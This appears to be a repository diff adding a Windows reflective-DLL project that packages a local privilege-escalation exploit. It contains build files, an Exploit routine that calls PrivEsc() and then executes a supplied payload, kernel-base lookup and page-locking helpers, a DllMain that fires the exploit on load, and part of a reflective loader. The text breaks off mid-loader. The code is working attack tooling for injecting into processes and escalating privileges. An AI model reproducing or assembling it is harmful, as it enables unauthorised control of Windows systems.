{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.Build.0 = Release|ARM
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+278
View File
@@ -0,0 +1,278 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
<RootNamespace>reflective_dll</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\exploiter.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="common\ReflectiveDLLInjection.h" />
<ClInclude Include="src\Error.h" />
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="src\Exploiter.h" />
<ClInclude Include="src\KernelRoutines.h" />
<ClInclude Include="src\LockedMemory.h" />
<ClInclude Include="src\Native.h" />
<ClInclude Include="src\NtDefines.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="src\Native.asm" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
@@ -0,0 +1,61 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\exploiter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Exploit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Error.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploit.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\KernelRoutines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\LockedMemory.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Native.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\NtDefines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploiter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="common\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="src\Native.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>
+19
View File
@@ -0,0 +1,19 @@
// Exploit.cpp : Defines the entry point for the console application.
//
#include <Windows.h>
#include "Exploit.h"
#include "Exploiter.h"
static VOID ExecutePayload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return;
}
VOID Exploit(LPVOID lpPayload)
{
PrivEsc();
ExecutePayload(lpPayload);
}
+6
View File
@@ -0,0 +1,6 @@
#ifndef EXPLOIT_H
#define EXPLOIT_H
extern "C" __declspec (dllexport) void PrivEsc(void);
VOID Exploit(LPVOID lpPayload);
#endif
+4
View File
@@ -0,0 +1,4 @@
#ifndef EXPLOITER_H
#define EXPLOITER_H
static VOID ExecutePayload(LPVOID lpPayload);
#endif
+63
View File
@@ -0,0 +1,63 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
#include <iostream>
#include <vector>
#include "NtDefines.h"
struct KernelContext
{
HMODULE NtLib;
uint64_t NtBase;
template<typename T = fnFreeCall>
T GetProcAddress( const char* Proc )
{
FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc );
if ( !LocProc )
return ( T ) ( nullptr );
uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib );
return ( T ) ( this->NtBase + Delta );
}
};
static KernelContext* Kr_InitContext()
{
KernelContext* Kc = new KernelContext;
std::vector<BYTE> Buffer( 1024 * 1024 );
ULONG ReqSize = 0;
do
{
if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) )
break;
Buffer.resize( ReqSize * 2 );
}
while ( ReqSize > Buffer.size() );
SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data();
char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName;
Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase;
Kc->NtLib = LoadLibraryA( KernelFileName );
if ( !Kc->NtBase || !Kc->NtLib )
{
delete Kc;
return 0;
}
return Kc;
}
static void Kr_FreeContext( KernelContext* Ctx )
{
delete Ctx;
}
+81
View File
@@ -0,0 +1,81 @@
#pragma once
#include <Windows.h>
#include <iostream>
#include "NtDefines.h"
#pragma section(".LDATA", read, write)
#pragma section(".LTEXT", read, write, execute)
#pragma data_seg(".LDATA$1")
#pragma data_seg(".LDATA$2")
#pragma data_seg(".LDATA$3")
#pragma data_seg()
#pragma code_seg(".LTEXT$1")
#pragma code_seg(".LTEXT$2")
#pragma code_seg(".LTEXT$3")
#pragma code_seg()
__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0;
__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0;
__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0;
__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0;
#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) )
#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline)
#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE
// Mini non-paged crt
#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size )
#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size)
#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size)
#pragma comment(linker,"/MERGE:.LDATA=.data")
#pragma comment(linker,"/MERGE:.LTEXT=.text")
// Routines to lock the pages
static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size )
{
SIZE_T Min, Max;
if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) )
return FALSE;
if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) )
return FALSE;
return TRUE;
}
static BOOL Np_TryLockPage( PVOID Page )
{
if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) )
return FALSE;
if ( VirtualLock( Page, 0x1000 ) )
return TRUE;
if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) )
return FALSE;
return VirtualLock( Page, 0x1000 );
}
static BOOL Np_LockRange( PVOID From, PVOID To )
{
PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) );
PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) );
for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 )
{
if ( !Np_TryLockPage( Current ) )
{
return FALSE;
}
}
return TRUE;
}
static BOOL Np_LockSections()
{
return
Np_LockRange( &Np_DataStart, &Np_DataEnd ) &&
Np_LockRange( &Np_TextStart, &Np_TextEnd );
}
+35
View File
@@ -0,0 +1,35 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
#include "Exploit.h"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
//MessageBox(0, "In DLLMain", "Status", MB_OK);
Exploit(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
@@ -0,0 +1,599 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
#ifdef ENABLE_OUTPUTDEBUGSTRING
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
#else /* ENABLE_OUTPUTDEBUGSTRING */
#define OUTPUTDBG(str) do{}while(0)
#endif
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
#ifdef ENABLE_STOPPAGING
VIRTUALLOCK pVirtualLock = NULL;
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
OUTPUTDEBUG pOutputDebug = NULL;
#endif
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef _WIN64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#else _WIN32
uiBaseAddress = __readfsdword( 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
